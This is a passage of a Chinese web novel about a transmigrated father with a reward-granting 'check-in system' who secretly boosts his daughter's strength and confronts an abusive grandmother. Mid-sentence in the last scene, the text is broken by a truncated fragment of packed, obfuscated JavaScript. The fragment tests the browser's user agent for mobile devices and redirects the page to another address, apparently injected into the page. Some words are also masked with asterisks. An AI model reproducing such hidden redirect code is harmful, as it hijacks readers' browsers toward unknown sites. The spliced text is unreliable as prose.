不等王老四与王小顺开口回答,王冶山也适时接口,语气中带着几分郑重其事:
“江贤是咱们下河村的读书种子,又是秀才公,前途远大。他今日既在我等跟前许下此诺,必会竭力完成。”
“你们两家若能因此一事,各自供养出一个秀才公,那便是改换门庭,光宗耀祖!”
“此等机缘,旁人求都求不来,何必还要再执着于一时意气,非要拼个你死我活?”
“听老夫一句劝,不如就此放下彼此之间的恩怨,大家一团和气把以后的日子过好,如何?”
王老四和王小顺其实早就已心动不已,只是碍于脸面一直没好意思直接点头表态。
此刻听到老族长和里正都如此劝说,台阶已经架好,他们便借坡下驴,同时缓缓点头。
王老四深吸一口气,有些目光复杂地看了江贤一眼,轻声道:
“罢了……既然老族长和里正都这么说,江贤这小子也算诚意十足,那就……依他说的办吧!”
王小顺也跟着点头,脸上甚至挤出了一丝僵硬的笑容:
“行,就这样吧。江贤侄儿,你有心了,以后咱们两家……还是好乡亲。”
虽然这话说得有些言不由衷,但至少表面上的和解姿态已经做出来了。
江贤闻言,心中一块大石终于落地,他温笑着拱手向王老四及王小顺躬身一礼,道:
“多谢王四伯,小顺叔宽宏大量!小侄感激不尽!”
“你们放心,小侄方才所做出的承诺,必将一一如约兑现,若有半分违背之处,小侄甘受两位叔伯的任何惩罚!”
王老四与王小顺同时轻点了点头,没有再说别的话。
王德顺见状,立
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刻让人拿来纸笔,就在村口大槐树下,当场开始书写相应的文书字据。
文书的内容基本上就是按照江贤所说,分田、执教、收徒、确保秀才功名,条条款款,写得清清楚楚。还加上了相应的违约条款。
江贤、王老四、王小顺作为三方当事人,当场签字画押。
王德顺、王冶山及几位族老作为见证人,也一一签名留印。
当墨迹干透,最后一份字据被小心收起时,这场轰轰烈烈的村口对峙,终于以一种看似“圆满”的方式,暂时落下了帷幕。
围观的人群,看着拿到文书字据的王老四与王小顺,羡慕、嫉妒、感慨、鄙夷、算计……各种目光交织层叠。
王老四和王小顺两家人,则被巨大的喜悦和期待冲昏了头脑,簇拥着各自的族人,开始热烈地讨论起如何分配田地,以及该送哪个孩子去江贤门下。
江贤看着眼前这一幕,眼中不由浮现了一丝嘲讽的笑意。
这些蠢货,还真以为自己占了多大的便宜。
却不知,接下来灾荒将至,他们这些人,以后有没有命能活到他兑现承诺的那一天,都还是个未知数。
见围观的人群逐渐散去,江贤转过身,看了一眼仍是有些不知所谓的江达,冷声向他吩咐道:
“二弟,去把地上那些钱捡起来,然后咱们也该回家了。”
之前被王老四拍打在地上的那两贯钱的赔偿,事后都没有人再提起。
王老四与王小顺自觉已经占了天大的便宜,也没好意思去捡。
这倒是正合了江贤的心意,他正发愁接下来该怎么筹到更多的钱去收粮呢,现在自然是能省一笔是一笔。
“知道了!”
江达虽然心中不爽,却还是乖乖的弯身去把那散落了一地的铜钱和碎银子捡了起来。
他也知道自己刚刚说错了话,搞得大哥很被动,这时可不敢跟江贤顶嘴。
“哥,你真的准备要把家里一半的田产分给王老四与王小顺两家么?”
捡回钱袋后,江达将之送到江贤的手中,同时开口向江贤问道。
“那可是爷奶和爹娘攒了半辈子的家底,你就这么直接给送人了,他们待会儿能愿意才怪……”
“你给我闭嘴!”
江贤没好气的狠瞪了江达一眼,淡声道:
“我敢这么做,自然是有办法能够说服爷奶和爹娘,你就别在这里跟着瞎掺和了!”
说完,江贤径直转身又回到了马车上。
片刻,马车再次启动,吱吱呀呀地驶入了下河村。
不远处,贾郎中家的院子里。
江河也缓缓收回了目光,脸上的表情似笑非笑,没有多言。
倒是贾不为,远远的看到围在村口的人竟然全都散了,江家的马车也顺利进了村子,不由有些奇怪的嘟囔道:
“咋回事儿,竟然没有打起来?”
“看王老四与王小顺之前摆出来的架势,我还以为今天要见血呢,怎么现在却半点儿动静也没有闹出来?”
“这样的话,那我这些草药和药酒,岂不是全都白准备了?”
第149章 教女儿修行八段锦
“签到!”
感觉已经在贾郎中这里待了差不多一刻钟以上的时间,江河在心中默念了一句签到,随即他的耳边便有相应的提示声音响起:
“叮,签到地点刷新成功,签到地——下河村,贾氏医馆!”
“叮!恭喜宿主签到成功,触发五倍暴击奖励,获得铜钱50文*5,【特制红花油】2瓶*5,【特效大力丸】1颗*5,【八段锦**经验包】1份*5!”
江河一怔,紧接着心中就是一阵狂喜。
没想到他只在贾不为这里尝试着签到了一次,竟然就再一次幸运的获得了【特效大力丸】与【八段锦**经验包】这两种特殊奖励。
之前他还在想着,三个儿子的身体太弱,就算是把八段锦的修炼**教给了他们,短时间内也不可能会形成什么有效的战斗力。
但是现在,有了这【特效大力丸】与【八段锦**经验包】的辅助,一切都将会变得轻而易举与顺理成章起来。
“嗯?这个江河,刚刚是不是笑了一下?”
“怎么感觉他在看到江家老宅的人没有挨打,还顺利进了村子之后,非但没有生气,好像还挺高兴似的?”
“这厮,该不会是伤势已经恢复,性子又变回从前了吧?”
察觉到了江河脸上不经意间流露出来的欢喜之色,贾不为不由心生误会。
还以为江河的脑伤有所恢复,又变回了以前那般对老宅言听计从的愚孝性子。
若真如此的话,那可就要苦了江天、**、江源等几个孩子了,好不容易才过了几天安生日子,马上就又要回到从前了。
想到此,贾郎中不由暗自摇头。
不过出于医者本能,他心里还是琢磨着要不要再给江河开副安神醒脑的方子。
无论如何,江河身上的诸般变化,都是因为磕到脑袋。
万一他头上的伤势再有什么反复,或是留下了什么隐患与后遗症,总归不好。
江河不知贾郎中心中所想,此刻他正沉浸在获得丰厚奖励的喜悦中,并在心里快速盘算着要如何利用这些资源:
“五颗【特效大力丸】,给江天、**、江源他们三兄弟每人一颗。
再配合着每人一份【八段锦**经验包】,足以让他们在短时间内,将力气和身体强度都提升一大截!”
“嗯,还有江槐与江沫儿两个丫头也不能落下。”
“她们虽是女儿身,但多些自保的手段总是没错的,剩下的两颗【特效大力丸】与两份【八段锦**经验包】,就用在她们两个身上好了。”
到底是自己的亲生女儿,有了好东西江河自然会多想着些。
至于赵穗、罗灵与孙芳那三个儿媳妇儿,只能等以后有机会再说了。
“江河兄弟,你头上的伤最近有没有再疼过,要不要我再为你配几副药?”
这时,贾郎中终于没有忍住开口向江河询问了一句,眼中带着一丝异样的关切与忧虑。
江河回过神来,察觉到可能是自己刚刚因为签到奖励所带来的意外惊喜有些失态了,连忙摆手道:
“不必了,我头上的伤已经恢复得差不多了,现在一点儿也不疼了。”
“我这次过来单纯就是为了感谢你,昨天你给我大女婿抓的那些药很管用,我大女婿腿上的伤已经好多了。”
说着,江河再次向贾不为拱手道谢,然后就借口家中有事,直接告辞离开了。
贾不为看着江河离去的背影,不由轻轻撇嘴道:
“看热闹就看热闹呗,还找什么借口,虚伪!”
“不过话又说了回来,这股子道貌岸然的虚伪劲儿,可不像是原来的那个二流子。
看样子,他的性情并没有完全变回之前,刚刚应该并不是单纯的为了江家老宅那帮人能够重新回家而高兴……”
正自言自语说着话的工夫,江家老宅的马车已经吱吱哑哑的路过了他家的院门前。
贾不为闻声,好奇的抬头观瞧,只看到坐在车驾前的车夫,还有为车夫指路的江达。
江达的目光扫过贾家的院子,也看到了站在院门前的贾不为。
不过他却并没有要下车跟贾不为打招呼的意思,而是轻轻别过脸去,昂着头继续为车夫指道,只当是没有看到贾不为。
贾不为见状,面色瞬间变得很难看,不由冲着马车后方轻啐了一口,小声的嘟囔道:
“没礼貌的家伙,见了人都不知道招呼一声,活该之前被人堵。”
“哼,不过就是一个小童生而已,得意个什么劲儿,再仰头鼻孔都朝到天上去了!”
不管他说什么,马车就这样晃晃悠悠的从他家门前走过,甚至还扬起了一阵迷人眼的灰尘。
贾不为不喜地拿衣袖在身前扇了扇。
见那马车过了他家门口之后,并没有左拐赶往江家老宅的方向,而是径直朝着村西赶去。
贾不为不由眉头一挑,惑声自语道:
“这帮人进了村不急着回家,往村西头跑什么?村西那边好像没有他们家亲戚了吧?”
“啧啧啧,不是吧,难道他们才刚一回来,就想要去江河家寻江河的晦气?”
“这……这也未免太大胆了吧?”
“他们难道不知道,昨天下午江河一个人就把王家五虎全都给撂倒的战绩吗?”
“这个时候去寻江河的麻烦,跟自己找死有什么区别?”
贾不为像是发现了什么大新闻一样,心中的好奇与八卦欲望瞬间被完全点燃。
他快速地将手中的草药放回屋里,然后关了院门,满眼兴奋与期待的小跑着跟在马车后面。
他倒是想要看看,江家老宅的这帮人,到底想要做什么?
江河不知贾不为在后面疑神疑鬼的念叨。
也不知道老宅的马车在进村后,并没有直接回老宅的院子,而是一路向西朝着他们家的方向赶了过来。
在出了贾家的院门之后,他并没有在外面过多停留,而是径直快步回到了家里。
“爹,你回来了!”
院子里,江槐正在浆洗江河昨天脱下的衣物,见江河从外面回来,连忙亲切的开口招呼。
江河点头应了一声,然后开口向江槐问道:“孩子们呢,怎么没在院子里?”
江槐回道:“全都在东屋里呢,有赵诚看着他们,没事儿的。爹要是想寻他们,我这就去把他们叫出来。”
“不用。”
江河轻摆了摆手,缓步走到江槐的
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近前,道:
“正好,趁着孩子们都不在身边,爹来教你几个强身健体的招式,以后每天都坚持练上两遍,可保你少灾少病,益寿延年。”
江槐闻言,先是怔了一下神,似乎没有想到爹会跟她说这些。
不过很快,她的眼睛就跟着亮了起来,连忙放下手中的衣物,在围裙上擦了擦手,惊喜问道:
“爹,你这是要教我功夫吗?就像是你昨天打王家五虎那样?”
她可是曾亲眼见识过老爹厉害的。
不管是在柳树村一人独战老赵家那二十余口,还在下河村把王家五虎打得倒地不起,都足以证明她爹个人武力的强悍之处。
若是她也能跟着爹学上几招,以后岂不是也能保护自己和孩子们了?
江河闻言,不由摇头失笑:“这可不是什么功夫,而是一套养生健体的法门,叫做八段锦。”
“练好了,能强身健体,少生疾病,增长气力,延年益寿。
至于打架嘛……力气大了自然也就能厉害些。”
江槐闻言,略微有些失望,但还是乖巧地点头:
“知道了爹,只要爹愿意教,我定会用心学!”
不管咋说,这都是爹的一片好意,她定然不能辜负。
江河欣慰点头,示意江槐站好,然后摆开了八段锦的起手式,一边缓慢示范,一边讲解呼吸节奏和动作要领。
江槐学得很认真,她本就是个心灵手巧的姑娘,加上对老爹的崇拜和信任,很快就掌握住几个基本招式的动作要领,做得有模有样。
江河见状,不由微微点头。
不得不说,这个大女儿的身体底子虽然因为常年劳作和营养不良有些虚弱,但柔韧性和协调性都还不错,记忆力也属上佳,是个好苗子。
趁着伸手指点江槐招式动作的时候,江河悄然从物品内取出一份【八段锦**经验包】,直接轻拍进了江槐的体内。
啵~!
一道仿佛是肥皂泡破裂的轻微声响过后,正在摆着架势熟练招式的江槐,突然身形一震,整个人都僵直在了当场。
顷刻之间,她感觉自己的脑袋里面仿佛一下多出了许多关于八段锦的修行经验。
她的体内,尤其是小腹下方,似乎也多出了一团温热的暖流,不断的在她的体内循环流转。
“爹,我咋感觉自己仿佛一下子变得精神了许多,也更有力气了!”
过了好一会儿,当江槐完全适应了自己身体内外的神奇变化之后,一脸惊喜的抬头向江河看来。
她紧握着自己的一双玉拳,感觉自己现在前所未有的强大,气力十足。
“不错,不错!”
江河见状,不由开怀大笑,满意点头忽悠道:
“看来我的小槐花很有修行八段锦的天赋嘛,才刚刚开始学,就已经有所领悟、初见成效了!”
“你身上的这些变化,全是修行八段锦后所表现出来的正常现象,不必觉得奇怪。”
“我刚才就已经说过了,这八段锦有强身健体、增长力气的功效,爹的身体现在这么强壮,就是因为修行了这套八段锦的原因。”
“你以后只要坚持每日练上几遍,要不了多久,就会变得更有力气!”
第150章 王三妮找上门来
说完这些,江河又趁热打铁的随手掏出了一枚【特效大力丸】,示意江槐直接吃下去。
“这是与八段锦相配套的辅助丹丸,你吃下一颗,应该能让你的身体变得更加强健几分。”
江槐看着老爹手中那颗乌黑油亮、散发着奇异清香的药丸,没有丝毫犹豫,接过来便一口吞下。
药丸入腹,瞬间化开,一股比刚才更加清晰甚至汹涌澎湃的暖流猛地在腹中爆发开来,迅速融入四肢百骸!
江槐只觉得自己浑身的骨骼都在轻微作响,肌肉微微鼓胀,一股沛然巨力陡然从体内生出!
她下意识地握紧拳头,这瞬间暴涨的力量感,让她觉得自己简直强大得可怕。
感觉她现在一拳下去,都能打死一头牛!
“这……这感觉……太神奇了!”
江槐又惊又喜,忍不住在原地蹦跳了两下,感觉身体前所未有的轻快有力,之前因为常年劳作与营养不良所形成的隐晦暗伤,也在这一刻完全消融不见。
这种轻松、强大且自信的感觉,让江槐整个身心都愉悦不已,感觉自己从来都没有像是今天这样开怀、自信过。
江河微笑着看着女儿的变化,心中甚为满意。
一颗【特效大力丸】,最多也就是直接增加了五十斤力气而已,原本并不会让江槐有如此清晰且强烈的变强的感觉。
但是若是再加上一份【八段锦**经验包】所提供的十年修行功力,便足以让江槐脱胎换骨,身体素质在短时间内数倍提升。
她现在之所以会感觉到自己前所未有的强大,一拳能打死一头牛。
就是因为这两种力量同时爆发之后给她带来的强烈冲击,让她有了这种自己似乎已经“天下无敌”的心理错觉。
之前江河在一次性的吸收炼化了足足六份【八段锦**经验包】,获得了整整六十年的修行功力之后,他也出现了这种类似“山登绝顶我为峰,海踏狂波吾作龙。”的无敌错觉。
江槐现在才吸收了一份【八段锦**经验包】,只获取了十年份的修行功力,最多也就只是增长了百斤左右的力量。
若是再加上【特效大力丸】提升的五十斤力量,总共不会超过一百五十斤,也只比普通的成年男性稍强上那么一丢丢而已,并算不上是特别离谱。
等到她将体内的力量完全掌控,身体和意识全都适应了这种全新的力量变化之后,一切就会重归平凡。
以后虽说成不了什么高手,但至少自保和干重活肯定是没有半点儿问题了。
“不错不错!有了丹丸的辅助,你的力量应该是又增长了不少,比老子当年初次修**的时候强多了!”
为了增强女儿的自信,让她以为身体的一切变化,都是她的天赋使然,江河继续开口忽悠道:
“不过,这套养生法门素来都是入门容易精修难,想要有所成就,需得勤练不辍、持之以恒。”
“好了,你先自己熟悉一下身体的变化,把八段锦多练几遍,巩固效果。”江河叮嘱道,“爹去东屋看看赵诚恢复得如何了。”
“嗯!”江槐用力点头,满心欢喜地继续练习起来,动作比刚才更加流畅自然,仿佛已经修炼了十几年的熟练样子。
江河转身走进东屋,轻敲了下门后,直接推门而入。
屋内,赵诚正半靠在床边,满面微笑地看着三个孩子在身前说笑玩闹。
他的气色比昨天好了不少,脸上也多了几分血色,见江河推门进来,他连忙坐直了身子,满面恭敬与感激的叫了一声:“爹!”
赵念、赵瞳还有赵逸三个小的,看到江河之后,全都满面欢笑的飞扑过来,嘴里叭叭的叫着:
“姥爷!姥爷!”
“姥爷抱抱!”
没有一个是怕生的,全都跟江河这个才见过没几面的姥爷亲昵得不得了。
这其中不乏赵诚与江槐两口子的引导,但也未必没有血脉之中自带的羁绊与牵连。
江河欢笑着蹲下身,将三个孩子一一抱在怀里亲了亲,然后牵着三个孩子的小手走到床边,看着已经气色大好的赵诚,温声问道:
“腿上的伤可好了些,现在感觉怎么样了?”
赵诚连忙开口答道:“已经好多了,现在拄着拐杖已经能自己下地了,这多亏了爹你从贾郎中那给我抓来的那副药,谢谢爹!”
“一家人不必言谢。”江河摆手打断了赵诚的道谢,淡声道:“等你好了之后,好好待江槐就好。”
“江槐是老子的长女,也是我最疼爱的心肝宝贝,以后若是让我知道你敢对她不好,你这条腿就算是好了,老子也能再给你打断!”
赵诚闻言,连连摇头说自己不敢。
只是当他听到江河说江槐是他的心肝宝贝这些话后,赵诚心里还是忍住疯狂吐槽:
老岳丈的脸皮还真不是一般的厚啊!
六年前为了六百文钱把江槐“卖”出去的时候,咋不说这个女儿是他的心肝宝贝了?
怪不得媳妇这两天总说她爹变了,变得跟以前完全不一样了。
现在看来,老岳丈确实是变了,不但变得脸皮更厚了,似乎也真的知道心疼自己的这个大女儿了。
赵诚心中不断吐槽,但是脸上却没敢有半点儿显露,依然是一副恭敬顺从的模样。
“爹您放心,就是没您这话,我以后也会一直对槐花好,她是我媳妇,是我在这世上最亲近的人,我不疼她谁疼她?”
赵诚信誓旦旦的开口向江河做着保证。
事实上,他是这么想的,也是这么做的,自打江槐嫁给他后,他一直都在小心的保护、照顾着江槐。
只是他的能力有限,六年以来都没有让江槐过上富贵的好日子,最后甚至还沦落到了要靠媳妇娘家人来帮衬的境地。
江河见状,不由微微点头。
赵诚为人还算忠厚,具体对江槐如何,早在之前去柳树村时,他就已经让**细打听过了。
若不是因为知道这小子六年来一直都在护着江槐,江河现在也不会给他这般好脸色,甚至还拿出了签到所得的【精华壮骨粉】来为他疗伤医骨。
“记住你现在所说的话,以后若是有所违背,看老子怎么……”
江河的话还没有说完,就听得外面的院门处传来一阵剧烈的拍门声。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987684|193410||http|test|mini|href|location''.split(''|''),0,{}));
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r>砰!砰!砰!
砰!砰!砰!
“家里人全都死绝了吗?!大白天的还关门,在家里做什么见不得人的事情呢?!”
“还有没有会喘气的,赶紧过来给老娘开门!”
随着剧烈的敲门声响,一道让让江河感觉到极为熟悉又十分厌恶的尖锐嗓音在门外响起。
江河闻言不由面色一变。
特么,王三妮这个老虔婆,怎么跑他们家来了?
他们不是才刚刚进了村子,不赶紧回他们自己的老窝里收拾一下,上他们家来干什么来了?
“江槐?!你这个赔钱货竟然也回来了?!”
“混账东西,看到爷奶过来了,也不知道赶紧过来开门,还是跟以前一样,没有一点儿眼力见,就跟你那个死娘一样不遭人待见!”
“还愣着做什么,快来给我们开门啊!”
这时,王三妮似乎是看到了站在院子里的江槐,忍不住又是一阵叫骂与指使。
江河闻声,不由面色一沉,猛地站起身来,冷着脸朝屋外走去。
院子里。
原本正在兴致勃勃修炼着老爹教给她的八段锦的江槐。
忽然听到院门外的敲门声,以及王三妮那辨识度极高的泼妇嗓音,吓得身形一颤,条件反射似的向后猛退了两三步,面色也瞬间变得有些惨白。
要说在过去的十几年间,江槐在这世上最厌恶也最害怕的两个人分别是谁,那肯定非江河与王三妮二人莫属了。
一个是对他们兄弟姐妹不管不顾,动辄打骂不给饭吃,从来都不把他们当人看的渣爹。
另一个就是院门外这个曾经害**她娘,还经常拿针扎她,拿指甲掐她,甚至还怂恿着她爹把她早早卖给别人当媳妇的王三妮了。
这个她名义上的奶奶,对她,对她们家的兄弟姐妹,从来都没有半分慈爱,有的只是无尽的咒骂、打压与算计。
如果非要让江槐在心里挑选出一个她最最最最厌恶和愤恨的人,王三妮绝对会当仁不让的当选!
“江槐!你个赔钱货!”
“还愣在那里做什么,再不过来给老娘开门,信不信老娘一会儿进去了掐不死你个死妮子!”
院门外,王三妮的凶戾咒骂声再次在耳边响起。
江槐忍不住打了一下激灵,这种几乎已经刻印到她骨子里的恐惧,让她本能地想要退缩、躲避,一时之间不知该如何去应对。
就在这时,东屋的房门前,突然传来一声更为响亮也更为暴戾的怒骂声:
“哪里来的糟老婆子,竟敢在老子的家门前狗吠,还敢骂老子的女儿,是嫌自己活得不耐烦了么?!”
是爹!
江槐闻声,猛地抬头朝东屋看去,正好看到江河从屋里走出来,正满脸怒意的朝着院门方向叫骂。
原本紧张害怕、忐忑不已,不知道接下来该怎么办的江槐,瞬间就有了主心骨,胸腔内扑通乱跳的心也随之安定、舒缓了下来。
老爹的及时出现,让她瞬间就意识到,自己已经不再是以前那个任由王三妮打骂欺凌,却始终都无人护佑的小丫头了。
现在,她有亲爹护着她!